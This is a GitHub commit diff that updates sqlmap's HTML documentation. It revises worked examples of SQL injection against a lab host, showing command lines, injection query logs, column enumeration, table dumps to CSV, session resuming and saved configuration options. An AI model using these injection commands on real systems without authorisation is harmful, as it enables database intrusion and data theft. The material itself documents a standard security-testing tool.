Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 2b0ec18

Browse files
bdamelebdamele
committed
Updated documentation
1 parent 4156181 commit 2b0ec18

3 files changed

Lines changed: 257 additions & 122 deletions

File tree

‎doc/README.html‎

Lines changed: 130 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -842,7 +842,7 @@ <H3>Process Google dork results as target urls</H3>
842842
asking you if you want to test and inject on each possible affected URL.</P>
843843

844844
<P>Example of Google dorking with expression <CODE>site:yourdomain.com
845-
inurl:example.php</CODE>:</P>
845+
ext:php</CODE>:</P>
846846
<P>
847847
<BLOCKQUOTE><CODE>
848848
<PRE>
@@ -1930,7 +1930,8 @@ <H3>Use the UNION query SQL injection</H3>
19301930
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
19311931
Host: 192.168.1.121:80
19321932
Accept-language: en-us,en;q=0.5
1933-
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1933+
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
1934+
image/png,*/*;q=0.5
19341935
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
19351936
Connection: close
19361937

@@ -2729,16 +2730,14 @@ <H3>Database table columns</H3>
27292730
<P>It is possible to enumerate the list of columns for a specific database
27302731
table.
27312732
This functionality depends on the <CODE>-T</CODE> to specify the table name
2732-
and optionally on <CODE>-D</CODE> to specify the database name.
2733-
If the database name is not specified, the current database name is used by
2734-
sqlmap.</P>
2733+
and optionally on <CODE>-D</CODE> to specify the database name.</P>
27352734

27362735
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
27372736
<P>
27382737
<BLOCKQUOTE><CODE>
27392738
<PRE>
27402739
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
2741-
-T users -v 1
2740+
-T users -D test -v 1
27422741

27432742
[...]
27442743
back-end DBMS: MySQL >= 5.0.0
@@ -2810,8 +2809,48 @@ <H3>Database table columns</H3>
28102809

28112810
<P>Note that on PostgreSQL you have to provide <CODE>public</CODE> or the
28122811
name of a system database because it is not possible to enumerate other
2813-
databases tables, only the users' schema that the web application's user
2814-
is connected to, which is always <CODE>public</CODE>.</P>
2812+
databases tables, only the tables under the schema that the web
2813+
application's user is connected to, which is always <CODE>public</CODE>.</P>
2814+
2815+
<P>If the database name is not specified, the current database name is used.</P>
2816+
2817+
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
2818+
<P>
2819+
<BLOCKQUOTE><CODE>
2820+
<PRE>
2821+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns \
2822+
-T users -v 1
2823+
2824+
[...]
2825+
back-end DBMS: MySQL >= 5.0.0
2826+
2827+
[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current
2828+
database to enumerate table 'users' columns
2829+
[hh:mm:13] [INFO] fetching current database
2830+
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
2831+
[hh:mm:13] [INFO] retrieved: test
2832+
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
2833+
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
2834+
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
2835+
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
2836+
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
2837+
table_schema=CHAR(116,101,115,116)
2838+
[hh:mm:13] [INFO] retrieved: 3
2839+
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
2840+
[...]
2841+
Database: test
2842+
Table: users
2843+
[3 columns]
2844+
+---------+-------------+
2845+
| Column | Type |
2846+
+---------+-------------+
2847+
| id | int(11) |
2848+
| name | varchar(40) |
2849+
| surname | varchar(60) |
2850+
+---------+-------------+
2851+
</PRE>
2852+
</CODE></BLOCKQUOTE>
2853+
</P>
28152854

28162855

28172856
<H3>Dump database table entries</H3>
@@ -2822,8 +2861,7 @@ <H3>Dump database table entries</H3>
28222861
<P>It is possible to dump the entries for a specific database table.
28232862
This functionality depends on the <CODE>-T</CODE> to specify the table name
28242863
and optionally on <CODE>-D</CODE> to specify the database name.
2825-
If the database name is not specified, the current database name is used by
2826-
sqlmap.</P>
2864+
If the database name is not specified, the current database name is used.</P>
28272865

28282866
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
28292867
<P>
@@ -2832,15 +2870,22 @@ <H3>Dump database table entries</H3>
28322870
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump \
28332871
-T users -v 1
28342872

2873+
[...]
28352874
back-end DBMS: MySQL >= 5.0.0
28362875

2837-
[15:59:13] [WARNING] missing database parameter, sqlmap is going to use the current database to dump table 'users' entries
2838-
[15:59:13] [INFO] fetching current database
2839-
[15:59:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
2840-
[15:59:13] [INFO] retrieved: test
2841-
[15:59:13] [INFO] performed 34 queries in 0 seconds
2842-
[15:59:13] [INFO] fetching columns for table 'users' on database 'test'
2843-
[15:59:13] [INFO] fetching number of columns for table 'users' on database 'test'
2876+
[hh:mm:13] [WARNING] missing database parameter, sqlmap is going to use the current
2877+
database to dump table 'users' entries
2878+
[hh:mm:13] [INFO] fetching current database
2879+
[hh:mm:13] [INFO] query: IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))
2880+
[hh:mm:13] [INFO] retrieved: test
2881+
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
2882+
[hh:mm:13] [INFO] fetching columns for table 'users' on database 'test'
2883+
[hh:mm:13] [INFO] fetching number of columns for table 'users' on database 'test'
2884+
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
2885+
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
2886+
table_schema=CHAR(116,101,115,116)
2887+
[hh:mm:13] [INFO] retrieved: 3
2888+
[hh:mm:13] [INFO] performed 13 queries in 0 seconds
28442889
[...]
28452890
Database: test
28462891
Table: users
@@ -2911,8 +2956,7 @@ <H3>Dump database table entries</H3>
29112956

29122957
[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
29132958
192.168.1.121/dump/public/users.csv'
2914-
[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
2915-
192.168.1.121'
2959+
[...]
29162960

29172961
$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
29182962
"id","name","surname"
@@ -3280,8 +3324,8 @@ <H3>Run your own SQL SELECT statement</H3>
32803324

32813325
sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
32823326
sql> SELECT version()
3283-
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
3284-
(Ubuntu 4.2.3-2ubuntu4)'
3327+
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
3328+
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
32853329

32863330
sql> exit
32873331

@@ -3704,11 +3748,9 @@ <H3>Save and resume all data retrieved on a session file</H3>
37043748

37053749
[...]
37063750
back-end DBMS: PostgreSQL
3707-
3708-
[hh:mm:42] [INFO] fetching banner
3709-
[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
3710-
[hh:mm:42] [INFO] retrieved: PostgreSQL 8.3.5 o
3711-
[hh:mm:43] [ERROR] user aborted
3751+
[hh:mm:02] [INFO] query: VERSION()
3752+
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
3753+
[hh:mm:03] [ERROR] user aborted
37123754
</PRE>
37133755
</CODE></BLOCKQUOTE>
37143756
</P>
@@ -3721,17 +3763,18 @@ <H3>Save and resume all data retrieved on a session file</H3>
37213763
<PRE>
37223764
$ cat sqlmap.log
37233765

3724-
[hh:mm:40 MM/DD/YY]
3766+
[hh:mm:00 MM/DD/YY]
37253767
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
37263768
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
37273769
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
37283770
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
3729-
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('1', '1')][]
3771+
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
37303772
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
3731-
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(9, NULL)][9]
3732-
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('9')][1]
3773+
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
3774+
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
37333775
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
3734-
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5 o
3776+
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
3777+
on i486-pc-
37353778
</PRE>
37363779
</CODE></BLOCKQUOTE>
37373780
</P>
@@ -3749,27 +3792,38 @@ <H3>Save and resume all data retrieved on a session file</H3>
37493792
</CODE></BLOCKQUOTE>
37503793
</P>
37513794

3752-
<P>Performing the same request now, sqlmap calculates the query length,
3753-
in the example <CODE>VERSION()</CODE>, and resumes the injection from the last
3754-
character retrieved to the end of the query output.</P>
3795+
<P>Performing the same request now, sqlmap resumes all information already
3796+
retrieved then calculates the query length, in the example
3797+
<CODE>VERSION()</CODE>, and resumes the injection from the last character
3798+
retrieved to the end of the query output.</P>
37553799
<P>
37563800
<BLOCKQUOTE><CODE>
37573801
<PRE>
37583802
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
37593803
-v 1 -s "sqlmap.log"
37603804

37613805
[...]
3762-
back-end DBMS: PostgreSQL
3806+
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
3807+
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
3808+
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
3809+
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
3810+
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
3811+
[hh:mm:03] [INFO] testing connection to the target url
3812+
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
3813+
[hh:mm:03] [INFO] retrieving the length of query output
3814+
[hh:mm:03] [INFO] query: LENGTH(VERSION())
3815+
[hh:mm:03] [INFO] retrieved: 98
3816+
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
3817+
[hh:mm:03] [INFO] retrieving pending 70 query output characters
3818+
[hh:mm:03] [INFO] query: SUBSTR((VERSION())::text, 29, 98)
3819+
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
3820+
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
3821+
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
3822+
web application technology: PHP 5.2.6, Apache 2.2.9
3823+
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
3824+
back-end DBMS: PostgreSQL
37633825

3764-
[hh:mm:37] [INFO] fetching banner
3765-
[hh:mm:37] [INFO] retrieved the length of query output: 93
3766-
[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 o...
3767-
[hh:mm:37] [INFO] retrieving pending 75 query output characters
3768-
[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)),
3769-
(CHR(32)))
3770-
[hh:mm:37] [INFO] starting 1 threads
3771-
[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
3772-
4.2.3-2ubuntu4)
3826+
[hh:mm:07] [INFO] fetching banner
37733827
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
37743828
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
37753829
</PRE>
@@ -3791,7 +3845,7 @@ <H3>Save options on a configuration INI file</H3>
37913845
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
37923846
-v 1 --save
37933847

3794-
[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf'
3848+
[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-SAUbs.conf'
37953849
configuration file
37963850
[hh:mm:33] [INFO] testing connection to the target url
37973851
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
@@ -3801,32 +3855,36 @@ <H3>Save options on a configuration INI file</H3>
38013855
</P>
38023856

38033857
<P>As you can see, sqlmap saved the command line options to a configuration
3804-
INI file, <CODE>sqlmap-ADMcR.conf</CODE>.</P>
3858+
INI file, <CODE>sqlmap-SAUbs.conf</CODE>.</P>
38053859
<P>
38063860
<BLOCKQUOTE><CODE>
38073861
<PRE>
3808-
$ cat sqlmap-ADMcR.conf
3862+
$ cat sqlmap-SAUbs.conf
3863+
3864+
[Target]
3865+
googleDork =
3866+
list =
3867+
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
38093868

38103869
[Request]
38113870
aCred =
38123871
aType =
38133872
agent =
38143873
cookie =
38153874
data =
3816-
googleDork =
3875+
delay = 0
3876+
headers =
38173877
method = GET
38183878
proxy =
38193879
referer =
3820-
testParameter =
38213880
threads = 1
3822-
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
3881+
timeout = None
38233882
userAgentsFile =
38243883

38253884
[Miscellaneous]
3885+
batch = False
38263886
eta = False
38273887
sessionFile =
3828-
unionTest = False
3829-
unionUse = False
38303888
updateAll = False
38313889
verbose = 1
38323890

@@ -3845,6 +3903,8 @@ <H3>Save options on a configuration INI file</H3>
38453903
getPrivileges = False
38463904
getTables = False
38473905
getUsers = False
3906+
limitStart = 0
3907+
limitStop = 0
38483908
query =
38493909
sqlShell = False
38503910
tbl =
@@ -3862,27 +3922,34 @@ <H3>Save options on a configuration INI file</H3>
38623922

38633923
[Injection]
38643924
dbms =
3925+
eRegexp =
3926+
eString =
3927+
postfix =
3928+
prefix =
3929+
regexp =
38653930
string =
3931+
testParameter =
3932+
3933+
[Techniques]
3934+
timeTest = False
3935+
unionTest = False
3936+
unionUse = False
38663937
</PRE>
38673938
</CODE></BLOCKQUOTE>
38683939
</P>
38693940

38703941
<P>The file is a valid sqlmap configuration INI file.
38713942
You can edit the configuration options as you wish and pass it to sqlmap
3872-
with the <CODE>-c</CODE> option as explained in the previous paragraph:</P>
3943+
with the <CODE>-c</CODE> option as explained above in section 5.2:</P>
38733944
<P>
38743945
<BLOCKQUOTE><CODE>
38753946
<PRE>
3876-
$ python sqlmap.py -c "sqlmap-ADMcR.conf"
3947+
$ python sqlmap.py -c "sqlmap-SAUbs.conf"
38773948

38783949
[...]
3879-
back-end DBMS: PostgreSQL
38803950

3881-
[hh:mm:10] [INFO] fetching banner
3882-
[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
3883-
[hh:mm:10] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
3884-
4.2.3 (Ubuntu 4.2.3-2ubuntu4)
38853951
[hh:mm:16] [INFO] performed 657 queries in 6 seconds
3952+
38863953
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
38873954
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
38883955
</PRE>
@@ -3902,8 +3969,8 @@ <H3>Act in non-interactive mode</H3>
39023969
<P>
39033970
<BLOCKQUOTE><CODE>
39043971
<PRE>
3905-
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&amp;name=luther" -v 1 \
3906-
--batch
3972+
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&amp;name=luther" \
3973+
--batch -v 1
39073974

39083975
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
39093976
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
@@ -3921,7 +3988,8 @@ <H3>Act in non-interactive mode</H3>
39213988
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
39223989
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
39233990
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
3924-
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead:
3991+
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
3992+
ahead:
39253993
[0] place: GET, parameter: id, type: numeric (default)
39263994
[1] place: GET, parameter: name, type: stringsingle
39273995
[q] Quit

‎doc/README.pdf‎

3.11 KB
Binary file not shown.

0 commit comments

Comments
 (0)